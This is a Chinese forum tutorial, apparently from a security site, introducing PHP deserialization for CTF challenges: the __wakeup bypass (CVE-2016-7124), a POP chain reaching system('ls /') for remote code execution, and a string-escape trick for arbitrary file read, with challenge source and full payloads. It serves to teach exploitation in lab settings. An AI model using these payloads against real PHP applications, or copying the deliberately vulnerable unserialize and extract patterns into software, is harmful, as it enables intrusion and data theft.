首页
论坛
课程
招聘
[原创]CTF反序列化入门
2022-5-31 23:53 6821

[原创]CTF反序列化入门

2022-5-31 23:53
6821

CTF反序列化入门学习

序列化及其反序列化

序列化是将对象状态转换为可保持或可传输的格式的过程。与序列化相对的是反序列化,它将流转换为对象。这两个过程结合起来,可以轻松地存储和传输数据。

 

就是将对象的状态信息写成一串字符,以便传输和保存

 

o: 对象

 

a: 数组

 

s: 字符串

 

i: 整型

 

序列化函数:serialize()

 

反序列化函数: unserialize()

 

o:4:"info":2:{s:4:"name";i:2:"19";}

 

demo:

1
2
3
4
5
6
7
8
<?php
class test{
    public $name = "f1r3K0";
    public $age = "18";
}
$class = new test();
$class_ser = serialize($class);
print_r($class_ser);

O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

 

其中$class 对test这个类进行实例化

CTF反序列化之魔术方法

常见漏洞(CVE-2016-7124

此漏洞发生于__wakeup这个事件型魔术方法

 

只要对象的属性(变量)数大于实际的个数时,__wakeup就可以被被绕过

 

如:O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

 

改为:O:4:"test":3:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

 

__wakeup就不会被执行,产生绕过效果

1
2
3
4
5
6
7
8
9
<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit("bad request");
    }
    $text = new xctf();
    echo(serialize($text));
?>

POP链

POP链的形成是由于在序列化和反序列化的过程中,事件型的魔术方法在特定的情况下被触发,达到跳转到含有漏洞的类中的目的

 

这里上一道例题,

ezpop

题目给了php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
 
class crow
{
    public $v1;
    public $v2;
 
    function eval() {
        echo new $this->v1($this->v2);
    }
 
    public function __invoke()
    {
        $this->v1->world();
    }
}
 
class fin
{
    public $f1;
 
    public function __destruct()
    {
        echo $this->f1 . '114514';
    }
 
    public function run()
    {
        ($this->f1)();
    }
 
    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }
 
}
 
class what
{
    public $a;
 
    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;
 
    public function run()
    {
        ($this->m1)();
    }
 
    public function get_flag()
    {
        eval('#' . $this->m1);
    }
 
}
 
if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

可以看到有多个魔术方法,

 

__invoke() 当尝试以调用函数的方式调用一个对象时(把对象当函数用)

 

__destruct() 会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。(最后的时候)

 

__call() 在对象中调用一个不可访问方法时,会被调用。

 

__toString() 方法用于一个类被当成字符串时应怎样回应

 

通过魔术方法在特定情况下的自动调用来控制更多类里的函数,本题的最终目的是调用到get_flag()函数

 

pop链:fin->what->fin->crow->fin->mix

 

$a=new fin();
$a->f1=new what();
$a->f1->a=new fin();
$a->f1->a->f1=new crow();
$a->f1->a->f1->v1=new fin();
$a->f1->a->f1->v1->f1=new mix();
$a->f1->a->f1->v1->f1->m1="\n system('ls');";

 

echo urlencode(serialize($a));

 

payload:

1
O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0A+system%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

最后用POST的方式传给cmd实现RCE

 

萌新避坑:

 

【1】在传递payload时使用urlencode可以避免很多问题

 

【2】在用hackbar传入url编码时,可能会将%0A(linux的换行符编码)自动转化为%0D%0A(window的换行符编码)所以在此慎用

CTF反序列化之字符串逃逸

从一道例题开始

[安洵杯 2019]easy_serialize_php

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
 
$function = @$_GET['f'];
 
function filter($img){  //过滤函数
    $filter_arr = array('php','flag','php5','php4','fl1g');  //过滤名单
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);  //以空格代替
}
 
 
if($_SESSION){
    unset($_SESSION);
}
 
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
 
extract($_POST);  //extract函数:将变量从数组中导入当前的符号表,这里是把post里的值取出来变为PHP变量,比如name=user,则为$name=user,最重要的是它会再变量冲突时覆盖前面的变量。
 
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
 
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
 
$serialize_info = filter(serialize($_SESSION));  //产生字符串逃逸
 
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

通过反序列化的字符串逃逸进行任意文件读取,$_SESSION["user"]
和$_SESSION['function']是可控的,但是用于读取文件的

 

$_SESSION['img']却是不能直接控制的,所以要通过逃逸在function中构造出img的那一部分序列化,user则用来控制逃逸的字符串的数量

 

具体思路:

 

通过user控制一个字符串的数量,目标是将function自带的那部分序列化变成user的值,使之失去影响,然后在 function中构造我们想要的function序列化以及img的序列化,使自带的img序列化失效

 

总结公式:13+函数名位数+函数字符长度 ";s:函数名位数:"函数字符长度";s:??:"a"

 

payload:

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

形成的序列化:

 

a:3:{s:4:"user";s:24:"【";s:8:"function";s:1:"a"】;s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 

【】是user的值

 

写在最后:来看雪发表的第一篇文章,有很多的不足之处望海涵捏


恭喜ID[飞翔的猫咪]获看雪安卓应用安全能力认证高级安全工程师!!

收藏
点赞7
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/07/11 欢迎大家多多投稿优质文章,赢取“雪花”奖励~
最新回复 (1)
雪    币: 4302
活跃值: 活跃值 (3691)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
Nameless_a 活跃值 2 2022-7-1 20:05
2
0
给师傅打call
游客
登录 | 注册 方可回帖
返回